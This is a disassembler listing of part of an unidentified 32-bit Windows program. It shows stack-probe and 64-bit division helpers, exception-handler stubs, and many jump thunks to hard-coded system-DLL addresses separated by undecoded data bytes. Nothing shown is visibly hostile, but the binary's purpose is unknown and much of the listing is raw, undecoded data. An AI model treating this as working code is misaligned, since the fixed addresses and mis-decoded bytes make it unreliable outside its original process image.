sub_436832	proc near		; CODE XREF: sub_409580+4Dp
					; ___:0040A99Dp
		nop
		jmp	near ptr 77C226F6h
sub_436832	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 4Ch, 97h
; ---------------------------------------------------------------------------
		xor	byte ptr [edi-34h], 0CCh

; =============== S U B	R O U T	I N E =======================================



sub_436840	proc near		; CODE XREF: sub_40A030+5p
					; sub_40FF60+1Ap ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_436860


loc_43684C:				; CODE XREF: sub_436840+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax


loc_436859:				; CODE XREF: ___:004367E0j
		cmp	eax, 1000h
		jnb	short loc_43684C


loc_436860:				; CODE XREF: sub_436840+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_436840	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 810DEBE9h, 0E9902A77h, 777E6714h
		db 0E9h
; ---------------------------------------------------------------------------


loc_43687D:				; CODE XREF: ___:00436804j
		cmc
		xchg	eax, ecx
		xor	byte ptr [edi+5Dh], 90h
		jmp	near ptr 77C47A50h
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0F0h, 35h
		dd 8DE97780h, 4778110h,	7F5B6EE9h, 3D835877h, 50E9D4h
		dd 0FF0C75FFh, 90042474h, 7FE54BE8h, 68C35977h,	50E9C4h
		dd 50E9D468h, 2474FF00h, 310E80Ch, 0C4830000h, 74FFC30Ch
		dd 0CBE80424h, 0F7FFFFFFh, 59C01BD8h, 0C348D8F7h, 593DE990h
		dd 0E990777Fh, 778008D8h, 8E9E990h
		db 80h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4368EA	proc near		; CODE XREF: sub_4198C0+28p
		nop
		jmp	near ptr 77C4FA10h
sub_4368EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4368F0	proc near		; CODE XREF: sub_41B820+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_436911
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_436961
; ---------------------------------------------------------------------------


loc_436911:				; CODE XREF: sub_4368F0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_43691F:				; CODE XREF: sub_4368F0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_43691F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_43694A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_43694A
		jb	short loc_436952
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_436952


loc_43694A:				; CODE XREF: sub_4368F0+4Aj
					; sub_4368F0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_436952:				; CODE XREF: sub_4368F0+52j
					; sub_4368F0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_436961:				; CODE XREF: sub_4368F0+1Fj
		pop	ebx
		retn	10h
sub_4368F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_436970	proc near		; CODE XREF: sub_41B820+30p
					; sub_41B820+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_436992
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4369D3
; ---------------------------------------------------------------------------


loc_436992:				; CODE XREF: sub_436970+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_4369A0:				; CODE XREF: sub_436970+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4369A0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4369CE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4369CE
		jb	short loc_4369CF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4369CF


loc_4369CE:				; CODE XREF: sub_436970+4Ej
					; sub_436970+54j
		dec	esi


loc_4369CF:				; CODE XREF: sub_436970+56j
					; sub_436970+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4369D3:				; CODE XREF: sub_436970+20j
		pop	esi
		pop	ebx
		retn	10h
sub_436970	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0D3h, 0A0h
		dd 2DE97780h, 50778086h, 1477E990h, 0E9907781h,	7780A486h
		dd 0A805E990h, 79E97780h, 0D97780ABh, 0A99AE990h, 34E97780h
		dd 0FA7780ADh, 11D2E990h, 0E9907781h, 7780B15Eh, 84DCE990h
		dd 0F4E97780h, 977780A3h, 7F569EE9h, 36E9BB77h,	9A777E5Bh
		dd 3C0E990h, 0E9907780h, 778007C2h, 887EE990h, 0E990777Eh
		dd 77808EEDh, 80AE21E9h, 0E990FF77h, 7780398Bh,	8038B2E9h
		dd 0E9900777h, 778126B7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436A5C	proc near		; CODE XREF: ___:0043168Cp
		nop
		jmp	near ptr 77C3619Ch
sub_436A5C	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7780030Ch, 0A143E990h, 0A06C7780h, 2DABB33Ch, 5626025Ch
		dd 4C13B1E7h, 0A164D2h,	50000000h, 258964h, 83000000h
		dd 565368ECh, 0E8658957h, 5D89DB33h, 0E8026AFCh, 777FE8DCh
		dd 0D835990h, 50E9C4h, 0D40D83FFh, 0FF0050E9h, 7E8726E8h
		dd 0D8B9077h, 50E8D8h, 0E8900889h, 777E86E0h, 0E8D40D8Bh
		dd 8890050h, 50FA1CA1h,	0A3008B00h, 50E9B8h, 12EE8h, 0F01D3900h
		dd 7500446Ch, 6C08680Ch, 0E8900043h, 77816B85h,	0FAE859h
		dd 10680000h, 68004434h, 44330Ch, 0E5E8h, 0E8D0A100h, 45890050h
		dd 94458D94h, 0CC35FF50h, 8D0050E8h, 8D509C45h,	8D509045h
		dd 0E850A045h, 777E83C3h, 32086890h, 680044h, 0E8004430h
		dd 0B2h, 0A124C483h, 50FA2Ch, 7589308Bh, 223E808Ch, 89463A75h
		dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
		dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h
		dd 24495B5h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
		dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h,	25BB172h
		dd 0B322E850h, 4589FFFCh, 0E8905098h, 778032D2h, 8BEC458Bh
		dd 89098B08h, 5150884Dh, 21E8h,	0C3595900h, 0FFE8658Bh
		dd 0CFE88875h, 90778032h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436BCC	proc near		; CODE XREF: ___:00436814p
		jmp	near ptr 77C21868h
sub_436BCC	endp

; ---------------------------------------------------------------------------
		db 4, 90h, 0E9h
dword_436BD4	dd 777FE279h, 32BCE990h, 0CBE97780h, 0CA777FC1h, 8301E990h
		dd 0E990777Eh, 77803177h, 3000068h, 6800h, 25E80001h, 59000000h
		dd 6EE9C359h, 7977816Ah, 0C3C3C033h, 8592E990h,	0E990777Eh
		dd 777E85C3h, 7FE75FE9h, 71E9E677h, 4B777FF0h, 818206E9h
		dd 0E990C577h, 75C6973Bh, 9819E990h, 0E99075C6h, 75C5B3F2h
		dd 8843E990h, 0E99075C5h, 75C697E8h, 0B319E990h, 0E99075C4h
		dd 75C54BF8h, 0C60A56E9h, 0E9908D75h, 75C4EE84h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436C60	proc near		; CODE XREF: sub_4192C0+17Ep
		jmp	near ptr 76D6AC1Dh
sub_436C60	endp

; ---------------------------------------------------------------------------
		db 0C0h, 90h, 0E9h
		dd 2529AD7h, 529B51E9h,	0E9903202h, 2529CE9h, 539383E9h
		dd 0E9905802h, 254937Ch, 0A417E990h, 71E90254h,	58025593h
		dd 936AE990h, 0E9900256h, 256AB43h, 56AD2FE9h, 0E9906C02h
		dd 256B08Dh, 9352E990h,	76E90257h, 4025795h, 579CD0E9h
		dd 0E990B302h, 2589340h, 9757E990h, 0E9900258h,	2599334h
		dd 599718E9h, 0E990E602h, 25999B2h, 9322E990h, 0E990025Ah
		dd 25B931Ch, 0A5B9E990h, 0E990025Bh, 25BB01Eh, 5C930BE9h
		dd 0E9901602h, 25C99EAh, 9E35E990h, 67E9025Ch, 1B025C9Fh
		dd 92F2E990h, 43E90252h, 7102519Bh, 5192E7E9h, 0E9902502h
		dd 25092E0h, 9B21E990h,	0E990024Fh, 24F92D4h, 92CEE990h
		dd 2DE9024Eh, 0DE024D96h, 92C2E990h, 0E990024Dh, 24C9DBDh
		dd 986BE990h, 0B1E9024Ch, 9F024492h, 4C92ABE9h,	0E990C702h
		dd 24B9D74h, 9D39E990h,	0E990024Bh, 7C4CA385h, 4CA298E9h
		dd 0E990D47Ch, 24B9B44h, 9A10E990h, 0E990024Bh,	24B9280h
		dd 4A9A34E9h, 0E9905802h, 24A9992h, 97EBE990h, 0E990024Ah
		dd 24A9636h, 944FE990h,	5DE9024Ah, 1B024A92h, 9EB6E990h
		dd 0E9900249h, 2499CE8h, 499B1DE9h, 0E9905802h,	2499850h
		dd 97A8E990h, 0E9900249h, 2499238h, 9E7FE990h, 0E4E90248h
		dd 2802489Ah, 993DE990h, 98E90248h, 9F024895h, 48921BE9h
		dd 0E9908D02h, 2479B88h, 98A5E990h, 0E9900247h,	247986Ah
		dd 9202E990h, 0E9900247h, 246A01Ah, 9C3AE990h, 0E9900246h
		dd 2469898h, 91EAE990h,	0E9900246h, 2459F36h, 9D0FE990h
		dd 0E9900245h, 2459A19h, 9817E990h, 0E9900245h,	24591CCh
		dd 92F3E990h, 0E9900244h, 1B337Dh, 91BAE990h, 0B5E9025Dh
		dd 0EB026891h, 91AEE990h, 0A9E90263h, 0EB026791h, 9369E990h
		dd 0E9900266h, 266919Ch, 659197E9h, 0E9904602h,	26497A0h
		dd 94F6E990h, 0E9900264h, 2649184h, 9AB3E990h, 0E9900263h
		dd 2639972h, 96B4E990h,	0E9900263h, 25D945Bh, 9B73E990h
		dd 0E9900262h, 262981Eh, 94D7E990h, 0E9900262h,	2629154h
		dd 61914FE9h, 0E9900202h, 2609148h, 0ADD6E990h,	83E9025Fh
		dd 5A025FAAh, 0A82BE990h, 0E990025Fh, 25FA67Eh,	912AE990h
		dd 0E990025Fh, 25E9124h, 60A22FE9h, 5AE9C77Ch, 0E7167D0h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436EE8	proc near		; CODE XREF: ___:0042C8F1p
		nop
		jmp	near ptr 71AB4FD4h
sub_436EE8	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 71687585h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436EF4	proc near		; CODE XREF: sub_42C8E1+1p
		nop
		jmp	near ptr 71AB2BF4h
sub_436EF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436EFA	proc near		; CODE XREF: sub_42CC50+E5p
					; sub_42DC70+4Fp
		nop
		jmp	near ptr 71AB615Ah
sub_436EFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F00	proc near		; CODE XREF: sub_42D1A0+9Ap
					; sub_42DD50+45p ...
		nop
		jmp	near ptr 71AB428Ah
sub_436F00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F06	proc near		; CODE XREF: sub_42DFD0+53p
					; sub_42DFD0+96p ...
		nop
		jmp	near ptr 71AB9639h
sub_436F06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F0C	proc near
		jmp	near ptr 71AC1028h
sub_436F0C	endp

; ---------------------------------------------------------------------------
		db 0EDh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F12	proc near		; CODE XREF: sub_42CE80+71p
					; sub_42DA60+50p
		nop
		jmp	near ptr 71AB2DC0h
sub_436F12	endp

; ---------------------------------------------------------------------------
		dd 67BCA3E9h
		db 71h,	28h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F1E	proc near
		jmp	near ptr 71AB88D3h
sub_436F1E	endp

; ---------------------------------------------------------------------------
		db 2Dh
		dd 67BC3DE9h
		db 71h,	92h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F2A	proc near		; CODE XREF: sub_42D580+187p
		nop
		jmp	near ptr 71AB951Eh
sub_436F2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F30	proc near
		nop
		jmp	near ptr 71AB3E00h
sub_436F30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F36	proc near		; CODE XREF: sub_42C810+B1p
		nop
		jmp	near ptr 71AB2B66h
sub_436F36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F3C	proc near		; CODE XREF: ___:0042C93Fp
					; sub_42D580+152p
		nop
		jmp	near ptr 71AB3B91h
sub_436F3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F42	proc near
		nop
		jmp	near ptr 71AB406Ah
sub_436F42	endp

; ---------------------------------------------------------------------------
		dd 67D4DBE9h
		db 71h,	2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F4E	proc near		; CODE XREF: sub_42C790+10p
		jmp	near ptr 71AB664Dh
sub_436F4E	endp

; ---------------------------------------------------------------------------
		db 6Fh
		db 90h
		db 0E9h, 6Eh, 0E1h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F5A	proc near		; CODE XREF: sub_4338B0+Bp
		nop
		jmp	near ptr 71AB94DCh
sub_436F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F60	proc near		; CODE XREF: sub_41A6D0+92p
					; sub_41A8C0+CAp ...
		nop
		jmp	near ptr 71AB4544h
sub_436F60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 71689BE4h, 0D5A7E990h, 0E9907167h, 7167BC48h, 0BD91E990h
		dd 0E6E97167h, 747167BCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F84	proc near
		nop
		jmp	near ptr 71AB3EA1h
sub_436F84	endp

; ---------------------------------------------------------------------------
		dw 0DAE9h
		dd 55716817h, 0D4F3E990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F96	proc near		; CODE XREF: sub_42C810+53p
					; sub_42C810+C3p
		nop
		jmp	near ptr 71ABE6EBh
sub_436F96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F9C	proc near		; CODE XREF: sub_42DFD0+4Ap
		nop
		jmp	near ptr 71AC0BDEh
sub_436F9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436FA2	proc near
		jmp	near ptr 71AB2A5Eh
sub_436FA2	endp

; ---------------------------------------------------------------------------
		aaa

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FA8	proc near		; CODE XREF: ___:0041C1B7p
					; ___:0041C1CCp
		nop
		jmp	near ptr 71B2578Ch
sub_436FA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436FAE	proc near		; CODE XREF: ___:0041C30Dp
					; ___:0041C32Fp
		jmp	near ptr 71B25099h
sub_436FAE	endp

; ---------------------------------------------------------------------------
		db 0BBh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FB4	proc near		; CODE XREF: sub_41FF90+B4p
		nop
		jmp	near ptr 76BF215Ah
sub_436FB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436FBA	proc near		; CODE XREF: sub_41FF90+9Bp
		jmp	near ptr 76BF1F1Ch
sub_436FBA	endp

; ---------------------------------------------------------------------------
		push	ss

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FC0	proc near		; CODE XREF: sub_41FF90+21p
		nop
		jmp	near ptr 76BF3A9Ah
sub_436FC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FC6	proc near		; CODE XREF: ___:0041B1B4p
		nop
		jmp	near ptr 76F36C5Bh
sub_436FC6	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 7Ch, 0F2h
dword_436FD0	dd 0E9907780h, 7780F14Dh, 0F192E990h, 0E9907780h, 7780F33Ch
		dd 2C7h	dup(0CCCCCCCCh), 0FB988D8Dh, 1BE9FFFFh,	8DFFFC97h
		dd 0FFFBC88Dh, 9710E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC9705E9h
		dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC96FAh, 0FB94858Bh, 0E083FFFFh
		dd 0FC08501h, 884h, 44D8B00h, 0FC96E1E9h
; ---------------------------------------------------------------------------
		inc	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4034E0	proc near		; DATA XREF: sub_4034E0+2o
		mov	eax, offset dword_43E470
		jmp	sub_4367C8
SEH_4034E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_437B7B:				; DATA XREF: ___:0043E4ECo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40206D

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4036D0	proc near		; DATA XREF: sub_4036D0+2o
		mov	eax, offset dword_43E4C0
		jmp	sub_4367C8
SEH_4036D0	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C00	proc near		; DATA XREF: sub_403C00+2o
		mov	eax, offset dword_43E700
		jmp	sub_4367C8
SEH_403C00	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_437FC8:				; DATA XREF: ___:0043E75Co
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C90	proc near		; DATA XREF: sub_403C90+2o
		mov	eax, offset dword_43E730
		jmp	sub_4367C8
SEH_403C90	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_437FF8:				; DATA XREF: ___:0043E794o
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D10	proc near		; DATA XREF: sub_403D10+2o
		mov	eax, offset dword_43E768
		jmp	sub_4367C8
SEH_403D10	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D90	proc near		; DATA XREF: sub_403D90+2o
		mov	eax, offset dword_43E7A0
		jmp	sub_4367C8
SEH_403D90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_438048:				; DATA XREF: ___:0043E7FCo
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AD2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403E00	proc near		; DATA XREF: sub_403E00+2o
		mov	eax, offset dword_43E7D0
		jmp	sub_4367C8
SEH_403E00	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_4380C8:				; DATA XREF: ___:0043E85Co
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AD2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403EE0	proc near		; DATA XREF: sub_403EE0+2o
		mov	eax, offset dword_43E830
		jmp	sub_4367C8
SEH_403EE0	endp

; ---------------------------------------------------------------------------
